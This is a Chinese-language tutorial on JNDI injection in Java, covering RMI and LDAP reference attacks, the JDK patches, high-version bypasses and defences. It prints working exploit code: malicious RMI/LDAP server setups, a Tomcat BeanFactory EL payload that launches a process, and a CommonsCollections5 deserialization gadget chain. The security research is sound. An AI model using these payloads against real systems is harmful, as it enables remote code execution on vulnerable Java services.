由浅继深的了解JNDI安全
字数 2044 2025-08-18 11:35:30
JNDI注入安全研究:从原理到利用
1. JNDI基础概念
JNDI (Java Naming and Directory Interface) 是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。关键特性包括:
- 独立于底层实现
- 提供SPI (Service Provider Interface) 允许将目录服务实现插入框架
- 查询信息可能来自服务器、文件或数据库
2. JNDI注入基础利用
2.1 RMI协议利用
基本示例
服务端代码:
public class JNDIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://localhost:1099/remoteOb", new RemoteObImpl());
}
}
客户端代码:
public class JNDIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj o = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteOb");
System.out.println(o.sayHello("hello"));
}
}
攻击原理
当客户端lookup参数可控时,可以使其访问恶意RMI链接。攻击流程:
- 客户端调用
lookup方法 - 最终调用
RegistryContext类的lookup方法 - 获取
ReferenceWrapper_Stub对象 - 服务端通过
encodeObject将Reference转为ReferenceWrapper - 客户端获取后进行
decode操作
2.2 引用对象绑定
恶意服务端示例:
public class JNDIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("TestRef", "TestRef", "http://localhost:6666/");
initialContext.rebind("rmi://localhost:1099/remoteOb", reference);
}
}
Reference类关键参数:
className: 对象类名factory: 工厂类名factoryLocation: 工厂加载位置(URL)
攻击流程
- 客户端获取
Reference后调用NamingManager.getObjectInstance() - 调用
getObjectFactoryFromReference从引用获取对象工厂 - 首先尝试本地
AppClassLoader加载(失败) - 使用
codebase(factoryLocation)通过URLClassLoader加载远程类 - 实例化并执行恶意代码
2.3 JDK修复措施
在以下版本中Java限制了RMI远程加载:
- JDK 6u132
- JDK 7u122
- JDK 8u113
修复方式:
- 将
com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase
默认值设为false
3. LDAP协议利用
3.1 LDAP与RMI的区别
在以下版本前LDAP仍可利用:
- JDK 11.0.1
- 8u191
- 7u201
- 6u211
客户端示例:
public static void main(String[] args) throws NamingException {
Object object = new InitialContext().lookup("ldap://127.0.0.1:1389/koh13g");
}
攻击流程
- 调用栈进入
PartialCompositeContext.lookup - 调用
p_lookup和c_lookup方法 - 调用
decodeObject方法(与RMI不同实现) - 判断为引用时调用
decodeReference - 调用
DirectoryManager.getObjectInstance() - 后续流程与RMI类似,通过
codebase加载
3.2 LDAP修复措施
在以下版本中修复:
- JDK 11.0.1
- 8u191
- 7u201
- 6u211
将com.sun.jndi.ldap.object.trustURLCodebase默认值设为false
4. 高版本JDK绕过技术
4.1 利用本地类
要求:
- 类必须实现
javax.naming.spi.ObjectFactory接口 - 必须存在
getObjectInstance()方法 - 常用类:
org.apache.naming.factory.BeanFactory(Tomcat依赖)
服务端示例:
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
攻击流程:
- 指定本地工厂类
org.apache.naming.factory.BeanFactory - 通过
getObjectFactoryFromReference本地加载 - 反射调用
invoke执行EL表达式
4.2 触发本地Gadget
利用本地存在的漏洞依赖(如Commons Collections)
服务端示例:
private static byte[] CommonsCollections5() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// ... 构造CC链
return byteArrayOutputStream.toByteArray();
}
LDAP属性设置:
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", CommonsCollections5());
反序列化流程
- 进入
Obj.decodeObject方法 - 检查
javaSerializedData属性 - 调用
deserializeObject反序列化恶意数据
4.3 通过javaReferenceAddress反序列化
服务端设置:
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaReferenceAddress", "$1$String
$$
" + new BASE64Encoder().encode(CommonsCollections5()));
e.addAttribute("objectClass", "javaNamingReference");
要求:
javaReferenceAddress格式:- 第一个字符为分隔符
- 第一与第二分隔符间为int类型position
- 第二与第三分隔符间为type
- 第三个分隔符为双分隔符时触发反序列化
- 数据需Base64编码
javaClassName属性必须存在
5. 防御措施
- 升级JDK到安全版本
- 限制JNDI查找参数不可控
- 设置系统属性限制远程加载:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 检查并移除不必要的危险依赖